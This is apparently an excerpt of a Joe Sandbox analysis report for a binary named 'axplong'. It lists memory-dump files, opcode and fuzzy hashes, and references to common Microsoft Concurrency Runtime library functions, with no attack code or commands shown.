Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 6620bc316fe5bfb724baa439f5a8f04f57b1cb72d4287a5f3e859f7e233928b9
Instruction ID: 3204b35993a4970efe167d1e59b8a1b14ba94408c725dd7263fe7dc31685a3fc
Opcode Fuzzy Hash: 6620bc316fe5bfb724baa439f5a8f04f57b1cb72d4287a5f3e859f7e233928b9
Instruction Fuzzy Hash: 6521AC71500B149FCB25EFA4C9908EFF3F6FF48304B00495EE44297661DB70A985CBAA

Function 006B47B5 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006B47C3
ListArray.LIBCONCRT ref: 006B47D5

Part of subcall function 006B5485: _InternalDeleteHelper.LIBCONCRT ref: 006B5494

ListArray.LIBCONCRT ref: 006B47DF
_InternalDeleteHelper.LIBCONCRT ref: 006B47F8

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 89d94c5bacb6099515a29eb57d68ba927fb738ccf92067149cd6885924a5141a
Instruction ID: b153f2054ed8d1ed958d4843800eb596309a562b5e502a0eac62863756a7b98d
Opcode Fuzzy Hash: 89d94c5bacb6099515a29eb57d68ba927fb738ccf92067149cd6885924a5141a
Instruction Fuzzy Hash: 1D01A2B5600521BFCA55BF64D8C6AEEB76BFF457103040129F5055BA12DF20EC918BD5

Function 006BED8C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006BED9A
ListArray.LIBCONCRT ref: 006BEDAC

Part of subcall function 006BEE59: _InternalDeleteHelper.LIBCONCRT ref: 006BEE6B

ListArray.LIBCONCRT ref: 006BEDB6
_InternalDeleteHelper.LIBCONCRT ref: 006BEDCF

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: f0cec02fdf77f31cf90188748f8b672b2bb4a4cf48666c28f38fdf3c8fe2db6f
Instruction ID: e2be5494c5fc5e7878ee72baa78e76d651c11c7942a9a35a226ea084bc7a704c
Opcode Fuzzy Hash: f0cec02fdf77f31cf90188748f8b672b2bb4a4cf48666c28f38fdf3c8fe2db6f
Instruction Fuzzy Hash: 7D01D6B1700521AFCA55BB60C882EEEB76BFF45710B04012DF6115B712CB62EC929BD4

Function 006BCFE7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006BCFF5
ListArray.LIBCONCRT ref: 006BD007

Part of subcall function 006BC5E2: _InternalDeleteHelper.LIBCONCRT ref: 006BC5F4

ListArray.LIBCONCRT ref: 006BD011
_InternalDeleteHelper.LIBCONCRT ref: 006BD02A

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: d870959ba79693da4f1aef38ac54fa6c53bfca4956f72e79f4ad126c8be482af
Instruction ID: 603f0774421a54180bf2bf24769e73a241c8cb65e10ea94b296e9338d9c5d4fa
Opcode Fuzzy Hash: d870959ba79693da4f1aef38ac54fa6c53bfca4956f72e79f4ad126c8be482af
Instruction Fuzzy Hash: 9801D6B2600525AFCA757F60C8C6EEEB72BFF49720704002DF5019F611DB21ECA29B94

Function 006C32EE Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006C3308
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006C331C
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 006C3334
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C334C

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 44aa3077459e1def681281c7412d2d1696fbf973f947b41b67c0d6dc79da1d15
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: AB01F7326005A0A7CB11AE588851FFF779BDB45350F04401DFC169B342CD21EE0196E0

Function 006B9440 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 006B9449

Part of subcall function 006AF3FB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 006B53B6

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 006B946D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 006B9480
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 006B9489

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
